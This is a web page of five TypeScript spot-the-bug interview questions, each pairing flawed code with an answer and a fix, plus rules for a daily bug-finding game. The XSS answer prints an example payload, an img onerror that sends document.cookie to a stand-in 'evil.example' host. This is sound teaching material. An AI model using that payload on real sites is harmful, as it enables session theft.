Skip to content
spot_the_ai_bug

TypeScript code review interview questions

Types catch a lot, but not everything. These TypeScript interview questions focus on bugs the compiler happily accepts: non-null assertions that lie, async responses that arrive out of order, and DOM APIs that execute user input. Spot the line, then check your reasoning against the answer.

TypeScript gotchas interviewers love

  • The ! operator silences the compiler; it doesn't make the value exist.
  • Async responses can resolve out of order; only the latest should win.
  • innerHTML with user input is cross-site scripting.
  • await inside a for loop serializes independent requests.
  • filter() keeps items where the callback returns true.

5 TypeScript spot-the-bug questions

Each snippet has exactly one bug. Find the line before you open the answer.

Rendering comments with innerHTML

renderComment() displays user comments under a post. What can an attacker do?

interface Comment {  author: string;  body: string;} export function renderComment(list: HTMLElement, comment: Comment): void {  const item = document.createElement("li");  item.innerHTML = `<strong>${comment.author}</strong>: ${comment.body}`;  list.appendChild(item);}
Show answer

line 8 · Security / injection

User text is parsed as HTML. A comment like <img src=x onerror="fetch('//evil.example?c='+document.cookie)"> runs script in every reader's browser (stored XSS), which can steal sessions or act as the user.

Fix
  const name = document.createElement("strong");  name.textContent = comment.author;  item.append(name, `: ${comment.body}`);

Interview follow-up: Mention textContent, framework auto-escaping, and sanitizers like DOMPurify when HTML is truly required.

Search-as-you-type results

onQueryChange() runs on every keystroke. Users sometimes see results for "re" after typing "react". Why?

let results: string[] = []; export async function onQueryChange(query: string, render: (r: string[]) => void) {  const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`);  const data: { results: string[] } = await res.json();  results = data.results;  render(results);}
Show answer

line 6 · Race condition

Requests can finish out of order. If the slow response for "re" arrives after the fast one for "react", it overwrites the newer results. Only the latest request should be allowed to update the UI.

Fix
let latest = 0; export async function onQueryChange(query: string, render: (r: string[]) => void) {  const id = ++latest;  const res = await fetch(`/api/search?q=${encodeURIComponent(query)}`);  const data: { results: string[] } = await res.json();  if (id !== latest) return; // a newer query has started  render(data.results);}

Interview follow-up: An AbortController that cancels the previous request is an equally good answer, and you can mention debouncing.

Reading preferences from localStorage

loadTheme() runs on page load. It works for returning visitors. What happens on someone's first visit?

interface Prefs {  theme: "light" | "dark";} export function loadTheme(): Prefs["theme"] {  const prefs: Prefs = JSON.parse(localStorage.getItem("prefs")!);  return prefs.theme;}
Show answer

line 6 · Null / undefined handling

On a first visit getItem returns null. The ! hides that from TypeScript, JSON.parse(null) returns null, and prefs.theme throws a TypeError that breaks page load.

Fix
  const raw = localStorage.getItem("prefs");  const prefs: Partial<Prefs> = raw ? JSON.parse(raw) : {};  return prefs.theme ?? "dark";

Interview follow-up: Also consider corrupted JSON: wrap JSON.parse in try/catch for data you don't control.

Pending tasks filter

The "To do" tab shows the result of pendingTasks(). Users say it lists the tasks they already finished. Find the bug.

interface Task {  id: string;  title: string;  done: boolean;} export function pendingTasks(tasks: Task[]): Task[] {  return tasks.filter((task) => task.done);}
Show answer

line 8 · Logic inverted

filter keeps the items for which the callback returns true, so this keeps the completed tasks. Pending tasks are the ones where done is false.

Fix
  return tasks.filter((task) => !task.done);

Interview follow-up: A quick unit test with one done and one pending task catches this instantly; say so.

Awaiting requests one by one

loadAvatars() fetches 50 independent user profiles for a team page. It takes ~10 seconds. Why?

export async function loadAvatars(userIds: string[]): Promise<string[]> {  const avatars: string[] = [];  for (const id of userIds) {    const res = await fetch(`/api/users/${id}`);    const user: { avatarUrl: string } = await res.json();    avatars.push(user.avatarUrl);  }  return avatars;}
Show answer

line 4 · Performance trap

Each request waits for the previous one to finish, so total time is the sum of all latencies (50 × ~200ms). The requests are independent and can run concurrently.

Fix
export async function loadAvatars(userIds: string[]): Promise<string[]> {  return Promise.all(    userIds.map(async (id) => {      const res = await fetch(`/api/users/${id}`);      const user: { avatarUrl: string } = await res.json();      return user.avatarUrl;    }),  );}

Interview follow-up: Strong candidates add that very large lists need a concurrency limit, or a batch endpoint.

Every day, everyone gets the same pull request written by AI. It looks clean. It has comments. It has exactly one real bug.

  1. 1

    Find the line

    Tap the buggy line, then hit Submit. You get 3 attempts.

  2. 2

    Read the hints

    A miss within 2 lines is 🔥 Warm. Anything further is ❄️ Cold.

  3. 3

    Name the bug

    Found it? Bonus round: pick the bug type from 4 options. It doesn't affect your win, just your bragging rights.

// your share card

found in 3/3

🟥 cold miss · 🟨 warm miss · 🟩 found · ⬛ unused

Keyboard: ↑ ↓ to move between lines, Enter to submit. A new bug drops every day at midnight IST.

0
Played
0
Win %
0
Streak
0
Max

Attempts distribution